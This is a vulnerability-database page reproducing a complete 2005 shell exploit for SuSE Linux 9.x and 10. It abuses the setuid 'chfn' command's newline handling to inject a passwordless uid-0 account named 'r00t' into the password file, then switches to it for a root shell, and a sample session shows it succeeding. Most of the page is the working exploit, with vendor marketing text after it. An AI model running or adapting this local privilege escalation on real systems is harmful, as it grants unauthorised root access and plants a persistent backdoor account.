Lucene search
K

SuSE Linux <= 9.3, 10 (chfn) Local Root Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 2179 Views

SuSE Linux <= 9.3, 10 Local Privilege Escalatio

Code

                                                #!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} &#39;chfn&#39; local root bug.
# 
# by Hunger &#60;[email protected]&#62;
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~&#62; id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~&#62; ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X&#34;$SHELL&#34; = &#34;X&#34; ]; then
	echo &#34;No SHELL environment, using /bin/sh for default.&#34;
	export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
	/bin/echo &#34;Type your current password to get root... :)&#34;
	/usr/bin/chfn -h &#34;`echo -e &#39;:/:&#39;$SHELL&#39;\nr00t::0:0:&#39;`&#34; $USER &#62; /dev/null
	if [ -u /bin/su ]; then
		/bin/su r00t
		/bin/echo &#34;You can get root again with &#39;su r00t&#39;&#34;
	else 
		echo &#34;/bin/su file is not setuid root :(&#34;
	fi
else
echo &#34;/usr/bin/chfn file is not setuid root :(&#34;
fi

# milw0rm.com [2005-11-08]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
2179